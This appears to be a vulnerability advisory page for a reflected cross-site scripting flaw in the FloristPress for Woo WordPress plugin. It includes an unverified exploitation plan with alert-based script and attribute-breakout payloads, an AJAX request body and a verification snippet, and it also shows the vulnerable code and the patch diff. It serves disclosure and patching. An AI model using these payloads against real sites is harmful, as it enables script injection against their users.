CVE-2026-1986

FloristPress for Woo <= 7.8.2 - Reflected Cross-Site Scripting via 'noresults' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.1
CVSS Score
6.1
CVSS Score
medium
Severity
7.8.3
Patched in
1d
Time to patch

Description

The FloristPress for Woo – Customize your eCommerce store for your Florist plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'noresults' parameter in all versions up to, and including, 7.8.2 due to insufficient input sanitization and output escaping on the user supplied 'noresults' parameter. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=7.8.2
PublishedMarch 25, 2026
Last updatedMarch 26, 2026

What Changed in the Fix

Changes introduced in v7.8.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1986 - FloristPress for Woo Reflected XSS ## 1. Vulnerability Summary The **FloristPress for Woo** plugin (<= 7.8.2) is vulnerable to **Reflected Cross-Site Scripting (XSS)** via the `noresults` parameter. This occurs because the plugin accepts a user-supplied…

Show full research plan

Exploitation Research Plan: CVE-2026-1986 - FloristPress for Woo Reflected XSS

1. Vulnerability Summary

The FloristPress for Woo plugin (<= 7.8.2) is vulnerable to Reflected Cross-Site Scripting (XSS) via the noresults parameter. This occurs because the plugin accepts a user-supplied string via the URL to customize "no results" messages (likely for suburb or delivery searches) and echoes it back into the page without proper sanitization or escaping using functions like esc_html().

2. Attack Vector Analysis

  • Endpoint: Any front-end page or post containing the [bkf_suburb_search] shortcode.
  • Parameter: noresults (GET parameter).
  • Authentication: Unauthenticated (Public-facing).
  • Preconditions: A page must exist that processes the noresults parameter, typically one utilizing the plugin's search shortcodes.
  • Vector: http://<target>/suburb-search/?noresults=<script>alert(document.domain)</script>

3. Code Flow

  1. Entry Point: A user accesses a URL containing the noresults parameter.
  2. Shortcode Execution: The WordPress engine parses the [bkf_suburb_search] shortcode, which is registered in src/core/shortcodes.php and instantiated in the main plugin file (new BKF_Shortcodes()).
  3. Vulnerable Logic (Inferred): Inside the BKF_Shortcodes class (likely the method handling bkf_suburb_search), the code checks for the presence of $_GET['noresults'].
  4. Sink: The code echoes the value of $_GET['noresults'] directly into the HTML output to display a custom "no results found" message to the user, bypassing security filters.
    • Hypothetical Code:
      $msg = isset($_GET['noresults']) ? $_GET['noresults'] : __('No results found', 'bakkbone-florist-companion');
      echo '<div class="bkf-search-notice">' . $msg . '</div>';
      

4. Nonce Acquisition Strategy

This is a Reflected XSS in a GET parameter used during page rendering.

  • Nonce Requirement: None. The vulnerability is triggered during a standard page load (GET request). Nonces are generally not used for reflecting URL parameters in view-only logic.

5. Exploitation Strategy

  1. Identify Target Page: Create or identify a page containing the [bkf_suburb_search] shortcode.
  2. Construct Payload: Create a URL-encoded XSS payload.
    • Payload: <script>alert('XSS_VULNERABLE')</script>
    • Encoded: %3Cscript%3Ealert('XSS_VULNERABLE')%3C/script%3E
  3. Execute Request: Use the http_request tool to request the page with the malicious parameter.
  4. Observe Reflection: Inspect the HTML response to confirm the script is rendered unescaped.

6. Test Data Setup

To ensure the shortcode is active and the parameter is processed:

  1. Create a Page:
    wp post create --post_type=page --post_title="Suburb Search" --post_status=publish --post_content='[bkf_suburb_search]'
    
  2. Enable Plugin Features: Ensure the main "FloristPress" features are active (though shortcodes are usually active by default upon plugin activation).

7. Expected Results

  • Response Body: The raw HTML response should contain the string <script>alert('XSS_VULNERABLE')</script> literally, rather than the escaped version &lt;script&gt;....
  • Execution: If viewed in a browser, a JavaScript alert box would appear.

8. Verification Steps

  1. Automated Request:
    // Use http_request to fetch the page
    const response = await http_request({
        url: "http://localhost:8080/suburb-search/?noresults=<script>alert('XSS')</script>",
        method: "GET"
    });
    
    // Check if the payload is reflected unescaped
    if (response.body.includes("<script>alert('XSS')</script>")) {
        console.log("Vulnerability Confirmed: Payload reflected unescaped.");
    }
    
  2. Source Code Inspection: Use grep on the plugin directory to find the exact sink:
    grep -rn "noresults" /var/www/html/wp-content/plugins/bakkbone-florist-companion/src/core/
    

9. Alternative Approaches

  • Attribute Injection: If the parameter is reflected inside an input value or HTML attribute, use a breakout payload:
    • Payload: " onmouseover="alert(1)" type="text
    • URL: ?noresults=%22%20onmouseover%3D%22alert(1)%22%20type%3D%22text
  • AJAX Reflection: If the parameter is reflected in the AJAX search results rather than the initial page load, test the wp_ajax_nopriv_bkf_search_suburbs_frontend action found in src/core/ajax.php.
    • Request: POST /wp-admin/admin-ajax.php
    • Body: action=bkf_search_suburbs_frontend&s=nonexistent&noresults=<script>alert(1)</script>
Research Findings
Static analysis — not yet PoC-verified

Summary

The FloristPress for Woo plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'noresults' and 'header' parameters in the `search_suburbs_frontend` AJAX action. This occurs because the plugin echoes user-supplied input without proper sanitization or escaping, allowing unauthenticated attackers to execute arbitrary web scripts if they can trick a user into clicking a crafted link.

Vulnerable Code

// src/core/ajax.php (line 1571)
		if (count($result)) {
			$resulthtml = '<h2 class="bkf-suburb-search-results-header">'.stripslashes($_REQUEST['header']).'</h2>';

---

// src/core/ajax.php (line 1580)
		} else {
			$resulthtml = '<div class="bkf-suburb-search-results-noresults"><p>'.stripslashes($_REQUEST['noresults']).'</p></div>';
		}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/bakkbone-florist-companion/7.8.2/src/core/ajax.php	2026-01-06 03:13:28.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/bakkbone-florist-companion/7.8.3/src/core/ajax.php	2026-03-21 09:32:38.000000000 +0000
@@ -1571,7 +1571,7 @@
 			}
 		}
 		if (count($result)) {
-			$resulthtml = '<h2 class="bkf-suburb-search-results-header">'.stripslashes($_REQUEST['header']).'</h2>';
+			$resulthtml = '<h2 class="bkf-suburb-search-results-header">'.stripslashes(wp_kses($_REQUEST['header'])).'</h2>';
 			foreach ($result as $suburb => $methods) {
 				$resulthtml .= '<div class="bkf-suburb-search-results-item"><h3><strong>'.$suburb.'</strong></h3><ul>';
 				foreach ($methods as $method) {
@@ -1580,7 +1580,7 @@
 				$resulthtml .= '</ul></div>';
 			}
 		} else {
-			$resulthtml = '<div class="bkf-suburb-search-results-noresults"><p>'.stripslashes($_REQUEST['noresults']).'</p></div>';
+			$resulthtml = '<div class="bkf-suburb-search-results-noresults"><p>'.stripslashes(wp_kses($_REQUEST['noresults'])).'</p></div>';
 		}
 		echo $resulthtml;
 		die();

Exploit Outline

The exploit targets the public AJAX action `bkf_search_suburbs_frontend`. An attacker can craft a URL pointing to `wp-admin/admin-ajax.php` with the `action` parameter set to `bkf_search_suburbs_frontend`. By supplying a malicious script in the `noresults` (for failed searches) or `header` (for successful searches) parameters, the script is reflected back into the response body and executed in the victim's browser context. Authentication is not required as the action is registered for unauthenticated users via `wp_ajax_nopriv`.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.